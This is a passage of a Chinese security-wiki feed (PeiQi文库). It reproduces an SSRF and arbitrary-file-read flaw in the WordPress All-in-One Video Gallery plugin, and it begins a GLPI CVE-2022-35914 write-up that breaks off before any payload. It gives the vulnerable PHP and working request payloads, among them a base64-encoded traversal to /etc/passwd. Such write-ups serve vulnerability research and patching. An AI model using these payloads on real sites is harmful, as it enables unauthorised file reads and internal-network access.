src="https://wechat2rss.xlab.app/img-proxy/?k=4abfa1d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTzZgiav6umOmHgsWv4Hvh3zhgl0qJvSQKfNNic9ZKCRO7SX82jQiaNSHcw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f47ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTQWO33O5iaK0xEwKqKryoZlC9yoDQIKgrmFGSWNL9EQWibxFkEvmZXsSg%2F640%3Fwx_fmt%3Dpng"/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span></h2><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞，攻击者通过发送特定的请求包读取任意文件</p><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span></h2><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">WordPress All-in-One Video Gallery  &lt;= 2.6.0</p><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">插件名</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeo89WfE5SmImSL2JaZXjeTp5fgoV0dbpdabA2BWFHZQ9tvO7mzKWfIfTBjcyp0hhxTdOhrZE1JTa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;">All-in-One Video Gallery<br/>https:<span style="color: rgb(160, 161, 167);font-style: italic;line-height: 26px;">//downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip</span><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span></h2><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">对比漏洞修复的文件找到出现漏洞的文件</p><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><em style="color: rgb(14, 136, 235);letter-spacing: 0.3em;">wp-content/plugins/all-in-one-video-gallery/public/video.php</em></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="262" data-backw="474" data-ratio="0.5533333333333333" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=080a39a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRqh8nlWXdS6bygLeLNg0jrs6RKnK7pqwicDThJcpggdPB4W02rc1AeowQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里接收 dl 参数，dl 参数不为 数字类型时，参数将 base64 解码传入</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeo89WfE5SmImSL2JaZXjeTp5fgoV0dbpdabA2BWFHZQ9tvO7mzKWfIfTBjcyp0hhxTdOhrZE1JTa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;"><br/>  <span style="color: rgb(166, 38, 164);line-height: 26px;">if</span> ( is_numeric( $_GET[<span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;dl&#39;</span>] ) ) {<br/>   $file = get_post_meta( (int) $_GET[<span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;dl&#39;</span>], <span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;mp4&#39;</span>, <span style="color: rgb(166, 38, 164);line-height: 26px;">true</span> );<br/>  } <span style="color: rgb(166, 38, 164);line-height: 26px;">else</span> {<br/>   $file = base64_decode( $_GET[<span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;dl&#39;</span>] );<br/>  }<br/>  <span style="color: rgb(166, 38, 164);line-height: 26px;">if</span> ( <span style="color: rgb(166, 38, 164);line-height: 26px;">empty</span>( $file ) ) {<br/>   <span style="color: rgb(166, 38, 164);line-height: 26px;">die</span>( esc_html__( <span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;Download file URL is empty.&#39;</span>, <span style="color: rgb(80, 161, 79);line-height: 26px;">&#39;all-in-one-video-gallery&#39;</span> ) );<br/>            <span style="color: rgb(166, 38, 164);line-height: 26px;">exit</span>;<br/>        }<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="474" data-ratio="0.6246666666666667" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=a980a166&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRqH5y9svkPCCHMZoKWBwzHcicNZIep1LFKgR0Pz7KibOtfGqAQulPcAPpg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">当传入的参数中不存在 <em style="color: rgb(14, 136, 235);letter-spacing: 0.3em;">http://</em> 或 <em style="color: rgb(14, 136, 235);letter-spacing: 0.3em;">https://</em> 时，参数 <em style="color: rgb(14, 136, 235);letter-spacing: 0.3em;">$formatted_path</em> 的值改变</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="474" data-ratio="0.6246666666666667" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=054d85aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRqd1h8UTRH5zSRn49IK0cOD3s5nr8b2WV1Gfx8O4EYLRl0RuUXicKDEzg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">当 <em style="color: rgb(14, 136, 235);letter-spacing: 0.3em;">$formatted_path</em> 为 url 时存在 SSRF漏洞，传入 base64编码 的目标URL就可以得到回显</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeo89WfE5SmImSL2JaZXjeTp5fgoV0dbpdabA2BWFHZQ9tvO7mzKWfIfTBjcyp0hhxTdOhrZE1JTa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;">/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="240" data-backw="474" data-ratio="0.506" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=c36b0085&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRqju3avoqac8rLAliaHp5ic3zBGjyHCnZoMq7SialTqAIuFtHXwJHnAibHibg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">看向代码最后的片段，则存在任意文件读取漏洞</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="474" data-ratio="0.6246666666666667" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=3f32eac9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRq4XfprI5uAeyhhaLj8PWjjwxj9ZS7E9edqEgETO5EicqnmZI8LxAuoRg%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeo89WfE5SmImSL2JaZXjeTp5fgoV0dbpdabA2BWFHZQ9tvO7mzKWfIfTBjcyp0hhxTdOhrZE1JTa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;">/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="247" data-backw="474" data-ratio="0.5213333333333333" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 558px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=96b2ffea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6IiacJDcuib3jic5kAy1G5XRqXLyicarHovVyeoF9OL74o1HDb98y4TuNE7lYhURtNelTCIgPhDXcmVw%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br style="white-space: normal;"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-id="MzIyMjkzMzY4Ng==" data-pluginname="mpprofile" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-id="Mzg3NDU2MTg0Ng==" data-pluginname="mpprofile" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="http://wiki.peiqi.tech" target="_blank">http://wiki.peiqi.tech</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">文库动态</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="230" data-backw="474" data-ratio="0.48339898705683737" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3554" src="https://wechat2rss.xlab.app/img-proxy/?k=e93d8858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTppcfY8pl1iccWCwZMKTicrWWNJXmq80LO41GSqTkLr2OUca9RycNiaEdA%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e1a5224&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493613%26idx%3D1%26sn%3D589006eac3082d74820d6bd6e575cf60%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 10 Oct 2022 19:33:00 +0800</pubDate>
    </item>
    <item>
      <title>GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493588&amp;idx=1&amp;sn=99c7a429bb57cb121f8c871814cea3d5</link>
      <description>GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2022-10-05 13:23</span> <span style="display: inline-block;">湖北</span>
</p>

<p>GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af73eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTATdm08ic8Z5MibwLpv0rbPibqg25004gYghRIFoKtG4l5FfzBNMJ1wrhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="475" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4abfa1d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTzZgiav6umOmHgsWv4Hvh3zhgl0qJvSQKfNNic9ZKCRO7SX82jQiaNSHcw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f47ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTQWO33O5iaK0xEwKqKryoZlC9yoDQIKgrmFGSWNL9EQWibxFkEvmZXsSg%2F640%3Fwx_fmt%3Dpng"/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">GLPI是一个用于IT资产管理的开源软件,用PHP编写,并在GPL许可下发布。 作为一种开源技术,任何人都可以运行,修改或开发代码。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于PHP htmlawed 模块中 允许 PHP 代码注入</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">GLPI</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">登录页面</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="243" data-backw="457" data-ratio="0.5321100917431193" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1962" src="https://wechat2rss.xlab.app/img-proxy/?k=0ef49c84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou69j7FIMtNcMzFEKIjDdqeyKiaYou1sU4tnuic9lsvmXRavhSt6MoD5pSA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">出现问题的文件为 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">htmLawedTest.php</code>， 来源于第三方库 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PHP Labware</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="242" data-backw="457" data-ratio="0.53" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=b19f8e4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4icJaRrvZgjyvkmJ3jjQou6mNIIH3yWmY6Q8N5eH9BrO0KYExWvQpcJia0Vka7VVyt7suukCsYuoicg%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yeiaylBpy3ZFOGJwic1gtH6XbplKfCU7BDhpdydAewU72lYtXFPb7crLqArFs9IpaIQM09M4BEveSmF/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: 